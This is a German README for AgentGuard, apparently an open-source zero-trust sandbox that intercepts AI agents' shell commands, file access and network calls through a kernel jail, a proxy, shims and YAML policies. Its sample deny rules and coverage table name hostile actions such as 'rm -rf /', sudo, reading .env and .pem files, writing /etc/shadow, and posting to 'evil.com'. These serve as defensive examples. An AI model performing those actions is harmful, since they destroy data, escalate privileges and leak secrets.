
Zero-Trust-Sandbox für KI-Agenten mit Kernel-Level-Dateisystem-Jail, transparentem Netzwerk-Proxy und YAML-basierter Policy-Engine zur Abfangung und Kontrolle von Shell-Befehlen, Dateioperationen und Netzwerkanfragen.
Zero-Trust-Sandbox für autonome KI-Agenten.
AgentGuard umhüllt jeden KI-Agenten (LangChain, CrewAI, AutoGen, benutzerdefinierte Skripte) mit Sicherheitsschienen. Nur ein Befehl ändert sich:
# Vorher (gefährlich – Agent hat vollen Systemzugriff)
python my_agent.py
# Nachher (gesandboxt)
agentguard run -- python my_agent.py
AgentGuard fängt jeden Shell-Befehl, jede Dateiänderung und jede Netzwerkanfrage ab, die der Agent ausführt. Sichere Aktionen werden automatisch erlaubt, gefährliche automatisch blockiert, und für alles andere wird der Mensch um Genehmigung gebeten.
AgentGuard hat vier Verteidigungsschichten, die zusammenwirken:
┌─────────────────────────────────────────────────────────────┐
│ Schicht 0: Dateisystem-Jail (sandbox-exec auf macOS) │
│ Kernel-Level-Erzwingung. Schränkt Dateischreibvorgänge und │
│ Netzwerk auf Syscall-Ebene ein. Der Agent kann es nicht │
│ aus dem Userspace umgehen. Blockiert Pythons open(), │
│ requests.post() usw. │
├─────────────────────────────────────────────────────────────┤
│ Schicht 1: Netzwerk-Proxy │
│ Transparenter HTTP/HTTPS-Proxy. Jeder Netzwerkaufruf des │
│ Agents wird gegen die Richtlinie geprüft. Pro-Ziel- │
│ Erlauben/Verweigern mit vollständiger Sichtbarkeit im TUI. │
├─────────────────────────────────────────────────────────────┤
│ Schicht 2: PATH-Shims │
│ Shell-Skript-Shims, die Befehle wie git, pip, curl, rm │
│ abfangen. Jeder Shim fragt den Daemon um Erlaubnis, bevor │
│ die echte Binärdatei ausgeführt wird. │
├─────────────────────────────────────────────────────────────┤
│ Schicht 3: Policy Engine + Genehmigungs-Daemon │
│ YAML-basierte Regeln bewerten jede abgefangene Aktion. │
│ Sichere Befehle automatisch erlauben, gefährliche auto- │
│ matisch blockieren, für alles andere den Menschen fragen. │
└─────────────────────────────────────────────────────────────┘
Keine einzelne Schicht ist die Sicherheitsgrenze. Sie arbeiten zusammen – Verteidigung in der Tiefe.
go build -o agentguard ./cmd/agentguard/
go build -o agentguard-check ./cmd/agentguard-check/
Beide Binärdateien müssen im selben Verzeichnis liegen.
agentguard init
Dies erzeugt .agentguard/policy.yaml im aktuellen Verzeichnis. Bearbeiten Sie sie nach Ihren Bedürfnissen.
agentguard run -- python my_agent.py
Das TUI übernimmt das Terminal und zeigt:
Für interaktive Werkzeuge wie Claude Code, die das Terminal benötigen:
agentguard run --headless -- claude
Der Agent bekommt das Terminal direkt. AgentGuard läuft leise im Hintergrund. Alle Ereignisse werden in ~/.agentguard/logs/headless.log protokolliert. Überwachen Sie in einem anderen Terminal:
tail -f ~/.agentguard/logs/headless.log
agentguard run [flags] -- <command> [args...]
--policy <path> Eine bestimmte Richtliniendatei verwenden
--headless Kein TUI – der Agent bekommt das Terminal
--default-allow PROMPT-Entscheidungen im Headless-Modus automatisch erlauben (Standard: auto-deny)
--no-sandbox Sandbox-exec deaktivieren (Shims und Proxy bleiben aktiv)
agentguard init Eine Standard-Richtliniendatei erstellen
agentguard version Version anzeigen
Richtlinien sind YAML-Dateien, die definieren, was der Agent darf und nicht darf. AgentGuard prüft drei Orte (in dieser Reihenfolge):
./.agentguard/policy.yaml (projektlokal)~/.agentguard/policy.yaml (benutzerglobal)version: 1
deny:
# Gefährliche Befehle blockieren
- command: "rm"
args: "-rf *"
reason: "Rekursives erzwungenes Löschen ist zu gefährlich"
- command: "sudo"
args: "*"
reason: "Privilegieneskalation ist nicht erlaubt"
- command: "chmod"
args: "777 *"
reason: "Weltweit beschreibbare Berechtigungen sind gefährlich"
# Lesen sensibler Dateien blockieren (durchgesetzt von sandbox-exec)
- file:
path: "*.env"
action: "read"
reason: "Agent darf .env-Dateien nicht lesen lassen"
- file:
path: "*.pem"
action: "read"
reason: "Agent darf private Schlüssel nicht lesen lassen"
allow:
# Sichere, schreibgeschützte Befehle
- command: "ls"
- command: "cat"
- command: "pwd"
- command: "echo"
- command: "grep"
- command: "head"
- command: "tail"
- command: "wc"
# Schreibgeschütztes Git
- command: "git"
args: "status"
- command: "git"
args: "log *"
- command: "git"
args: "diff *"
# Schreibvorgänge in Arbeitsbereich erlauben
- file:
path: "/tmp/workspace/**"
action: "write"
# Bestimmte API-Endpunkte erlauben
- network:
destination: "api.anthropic.com:443"
- network:
destination: "api.github.com:443"
deny network *) – als drittes geprüft. Fungieren als Standard-Deny.Befehlsregeln – gleichen Shell-Befehle nach Name und Argumentmuster ab:
- command: "git"
args: "push *"
reason: "Pushen erfordert Genehmigung"
Dateiregeln – gleichen Dateioperationen ab (durchgesetzt von sandbox-exec):
- file:
path: "*.env"
action: "read" # "read" oder "write"
reason: "Geheimnisse schützen"
Netzwerkregeln – gleichen Netzwerkziele ab (durchgesetzt von Proxy + sandbox-exec):
- network:
destination: "api.anthropic.com:443"
Verwenden Sie * als Platzhalter in Befehlsargumenten, Dateipfaden und Netzwerkzielen.
agentguard/
├── cmd/
│ ├── agentguard/ # Haupt-CLI-Binärdatei
│ └── agentguard-check/ # Shim-Hilfsbinärdatei
├── internal/
│ ├── policy/ # Policy Engine (YAML-Parsing, Regelauswertung)
│ ├── events/ # Ereignissystem (JSONL-Audit-Log, Pub/Sub)
│ ├── daemon/ # Zentraler Daemon (Unix-Socket, Genehmigungswarteschlange)
│ │ └── client/ # Client-Bibliothek für Shims
│ ├── shim/ # Shim-Generator (PATH-basierte Abfangung)
│ ├── proxy/ # Transparenter Netzwerk-Proxy
│ ├── spawner/ # Orchestrierung + macOS-Sandbox-Integration
│ └── ui/tui/ # Terminal-Benutzeroberfläche (Bubble Tea)
├── configs/
│ └── default_policy.yaml # Referenz-Richtliniendatei
├── .gitignore
├── go.mod
├── LICENSE
└── README.md
Jede abgefangene Aktion wird in ~/.agentguard/logs/YYYY-MM-DD.jsonl protokolliert:
{"id":"a1b2c3","timestamp":"2026-03-22T14:30:00Z","session_id":"abc123","source":"shim","command":"git","args":["push","origin","main"],"decision":"deny","decided_by":"human","response_time_ms":3200}
{"id":"d4e5f6","timestamp":"2026-03-22T14:30:01Z","session_id":"abc123","source":"proxy","network_dst":"api.anthropic.com:443","decision":"allow","decided_by":"policy"}
Mit Standardwerkzeugen abfragen:
# Alle verweigerten Aktionen heute
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decision == "deny")'
# Alle Netzwerkanfragen
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.source == "proxy")'
# Befehle, die menschliche Genehmigung erforderten
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decided_by == "human")'
Bedrohungsmodell: Der Agent ist nicht vertrauenswürdig. Er könnte versuchen:
rm -rf /, sudo).env, private Schlüssel)Was AgentGuard verhindert:
.env, .pem usw.)filepath.Clean verhindertWas AgentGuard NICHT verhindert (bekannte Einschränkungen):
ctypes/cffi (sandbox-exec blockiert diese unter macOS ebenfalls)api.anthropic.com erlauben, kann der Agent Daten dorthin senden)go test ./... -race
Das Projekt hat über 140 Tests, die Folgendes abdecken:
jail_darwin.go — macOS sandbox-exec (nur unter macOS kompiliert)jail_noop.go — Fallback-Shim-only-Modus (unter Linux/Windows kompiliert)sandbox_monitor_darwin.go — macOS-Systemlog-Verfolgung für Sandbox-Verstößesandbox_monitor_noop.go — No-op auf Nicht-macOS-PlattformenSiehe LICENSE.
| Taste | Aktion | Wann |
|---|
J | Ausstehende Anfrage erlauben | Genehmigungsaufforderung sichtbar |
N | Ausstehende Anfrage verweigern | Genehmigungsaufforderung sichtbar |
A | Erlauben + für diese Sitzung merken ("Immer erlauben") | Genehmigungsaufforderung sichtbar |
B | Verweigern + für diese Sitzung merken ("Für immer blockieren") | Genehmigungsaufforderung sichtbar |
Tab | Agent-Stdout/Stderr-Bereich umschalten | Immer |
Hoch/Runter | Aktivitätsstream scrollen | Immer |
Q | Beenden (tötet den Agenten) | Immer |
| Agent-Aktion | Shims | Proxy | sandbox-exec |
|---|
subprocess.run(["rm", "-rf", "/"]) | Ja | - | - |
subprocess.run(["git", "push"]) | Ja | - | - |
requests.post("https://evil.com") | - | Ja | Ja |
urllib.request.urlopen("https://api.com") | - | Ja | Ja |
open(".env", "r") | - | - | Ja |
open("/etc/shadow", "w") | - | - | Ja |
/usr/bin/curl https://evil.com (absoluter Pfad) | - | Ja | Ja |
| Komponente | Paket | Zweck |
|---|
| Policy Engine | internal/policy | Parst YAML-Regeln, wertet Anfragen aus → ALLOW / DENY / PROMPT |
| Ereignissystem | internal/events | Nur-Anhängen-Audit-Log im JSONL-Format + Echtzeit-Pub/Sub für TUI |
| Daemon | internal/daemon | Unix-Socket-Server, Genehmigungswarteschlange mit Timeouts, Sitzungsverwaltung |
| TUI | internal/ui/tui | Bubble Tea Terminal-UI mit Aktivitätsstream und Genehmigungs-Dialog |
| Shim-Generator | internal/shim | Generiert Shell-Skript-Shims, löst echte Binärpfade auf |
| Netzwerk-Proxy | internal/proxy | Transparenter HTTP/HTTPS-Proxy, der Richtlinien pro Ziel durchsetzt |
| Spawner | internal/spawner | Orchestriert alles: Richtlinie → Daemon → Shims → Proxy → Sandbox → Agent → TUI |
| macOS Sandbox | internal/spawner/jail_darwin.go | sandbox-exec mit Seatbelt-Profilen für Kernel-Level-Erzwingung |
| Plattform | Shims | Proxy | sandbox-exec | Datei-Lesen-Verweigern |
|---|
| macOS (Apple Silicon) | Ja | Ja | Ja | Ja |
| macOS (Intel) | Ja | Ja | Ja | Ja |
| Linux | Ja | Ja | Nein (zukünftig: Namespaces + seccomp) | Nein |
| Windows | Ja | Ja | Nein (zukünftig: Job Objects) | Nein |